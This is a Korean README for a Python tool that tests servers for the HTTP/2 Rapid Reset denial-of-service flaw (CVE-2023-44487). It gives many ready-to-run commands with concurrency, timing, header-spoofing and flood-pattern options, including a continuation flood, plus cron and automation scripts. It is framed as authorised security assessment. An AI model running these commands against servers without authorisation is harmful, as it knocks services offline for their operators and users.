
Python 기반의 CVE-2023-44487(HTTP/2 Rapid Reset) 테스트 도구로, 여러 공격 패턴, 세부 구성, 모니터링 기능을 갖추고 있으며 승인된 보안 평가를 위해 설계되었습니다.
CVE-2023-44487, HTTP/2 Rapid Reset 취약점을 위한 포괄적인 Python 테스트 도구입니다. 이 향상된 버전은 테스트 매개변수에 대한 세밀한 제어, 여러 공격 패턴, 고급 모니터링 기능을 제공합니다.
이 도구는 교육 및 승인된 테스트 목적으로만 사용하세요!
CVE-2023-44487은 "HTTP/2 Rapid Reset"으로도 알려져 있으며, 공격자가 다음을 수행할 수 있게 하는 HTTP/2 프로토콜의 심각한 취약점입니다:
CVSS 점수: 7.5 (높음)
영향: 서비스 거부, 리소스 고갈
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # 3.7 이상이어야 함
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| 옵션 | 설명 | 기본값 |
|---|---|---|
-c, --connections N | 동시 연결 수 | 1 |
--connection-timeout SEC | 연결 타임아웃(초) | 10 |
--read-timeout SEC | 응답 읽기 타임아웃 | 5 |
--connection-delay SEC | 연결 간 지연 | 0.0 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
-r, --requests N | 연결당 요청 수 | 100 |
--delay SEC | HEADERS와 RST_STREAM 사이 지연 | 0.001 |
--request-delay SEC | 요청 간 지연 | 0.0 |
--jitter FACTOR | 타이밍 무작위화 요소 | 0.0 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--pattern TYPE | 사용할 공격 패턴 | rapid_reset |
--burst-size N | 버스트당 요청 수 | 10 |
--burst-delay SEC | 버스트 간 지연 | 0.1 |
사용 가능한 패턴:
rapid_reset - 표준 rapid reset 공격burst_reset - 버스트 기반 공격gradual_reset - 점진적으로 증가하는 속도random_reset - 무작위 타이밍continuation_flood - CONTINUATION 프레임 플러드mixed_pattern - 패턴 혼합| 옵션 | 설명 | 기본값 |
|---|---|---|
--window-size BYTES | HTTP/2 초기 윈도우 크기 | 65535 |
--frame-size BYTES | 최대 프레임 크기 | 16384 |
--header-table-size BYTES | HPACK 헤더 테이블 크기 | 4096 |
--enable-push | HTTP/2 서버 푸시 활성화 | False |
--rst-error-code CODE | RST_STREAM 오류 코드 | 8 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--custom-headers HEADER | 사용자 지정 헤더 (이름: 값) | None |
--random-headers | 무작위 헤더 생성 | False |
--header-count N | 무작위 헤더 수 | 5 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--randomize-streams | 무작위 스트림 ID 사용 | False |
--priority-frames | 우선순위 정보 포함 | False |
--continue-on-error | 오류 후 계속 진행 | True |
--max-errors N | 중지 전 최대 오류 수 | 10 |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--track-latency | 요청 지연 시간 추적 | False |
--track-responses | 서버 응답 추적 | False |
--monitor-memory | 메모리 사용량 모니터링 | False |
| 옵션 | 설명 | 기본값 |
|---|---|---|
--output FORMAT | 출력 형식 | console |
--output-file FILE | 출력 파일 이름 | 자동 생성 |
--verbose, -v | 상세 출력 | False |
--debug | 디버그 로깅 | False |
--log-file FILE | 파일에 로깅 | None |
사용 가능한 출력 형식:
console - 사람이 읽을 수 있는 콘솔 출력json - 기계가 읽을 수 있는 JSONcsv - 스프레드시트 호환 CSVxml - 구조화된 XML 형식이 도구는 다음을 포함한 포괄적인 결과를 제공합니다:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
이 도구는 취약점을 자동으로 평가합니다:
서버가 취약한 것으로 확인되면 다음 완화 조치를 구현하세요:
import subprocess
import json
# 자동화된 테스트 실행
result = subprocess.run([
'python3', 'rapid_reset_test.py',
'https://target.com',
'--pattern', 'mixed_pattern',
'--output', 'json',
'--output-file', 'results.json'
])
# 결과 분석
with open('results.json') as f:
data = json.load(f)
vulnerability_score = data['test_summary']['success_rate']
if vulnerability_score > 80:
print(f"HIGH RISK: {vulnerability_score}% success rate")
#!/bin/bash
# Cron 작업: 0 2 * * * /path/to/monitor.sh
python3 rapid_reset_test.py https://myserver.com \
--pattern rapid_reset \
--connections 5 \
--requests 50 \
--output json \
--output-file /var/log/rapid-reset-$(date +%Y%m%d).json
# 취약점 감지 시 알림
if [ $(jq '.test_summary.success_rate' /var/log/rapid-reset-$(date +%Y%m%d).json) -gt 80 ]; then
echo "ALERT: Server vulnerable to rapid reset attack" | mail -s "Security Alert" [email protected]
fi
import pandas as pd
import matplotlib.pyplot as plt
# CSV 결과 로드 및 분석
df = pd.read_csv('results.csv')
# 연결별 공격 성공 시각화
plt.figure(figsize=(12, 6))
plt.subplot(1, 2, 1)
df.plot(x='connection_id', y='successful_attacks', kind='bar')
plt.title('Attack Success by Connection')
plt.subplot(1, 2, 2)
df['success_rate'] = (df['successful_attacks'] / df['total_attacks']) * 100
plt.hist(df['success_rate'], bins=20)
plt.title('Success Rate Distribution')
plt.show()
연결 거부:
SSL/TLS 오류:
--debug 사용낮은 성공률:
성능 문제:
--debug 및 --log-file 사용--verbose --debug --log-file debug.log--connections 1 --requests 10--track-responses--track-latency이 도구는 MIT 라이선스에 따라 제공됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 도구는 사이버 보안 전문가, 연구자 및 시스템 관리자가 자신의 시스템 또는 명시적 허가를 받은 시스템을 테스트하기 위한 것입니다. 작성자는 이 도구의 오용에 대해 책임을 지지 않습니다.
주요 법적 사항:
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 윤리적이고 합법적으로 사용하세요.
향상된 버전은 기본 버전과의 하위 호환성을 유지합니다. 모든 기존 명령줄 옵션은 계속 작동하며, 새 옵션이 추가 기능을 제공합니다.
기본 버전에서 업그레이드하는 사용자를 위한 예시:
# 기존 기본 사용법은 여전히 작동
python3 rapid_reset_test.py https://example.com --connections 5 --requests 100
# 추가 옵션이 포함된 새로운 향상된 사용법
python3 rapid_reset_test.py https://example.com \
--connections 5 --requests 100 \
--pattern burst_reset --track-latency --output json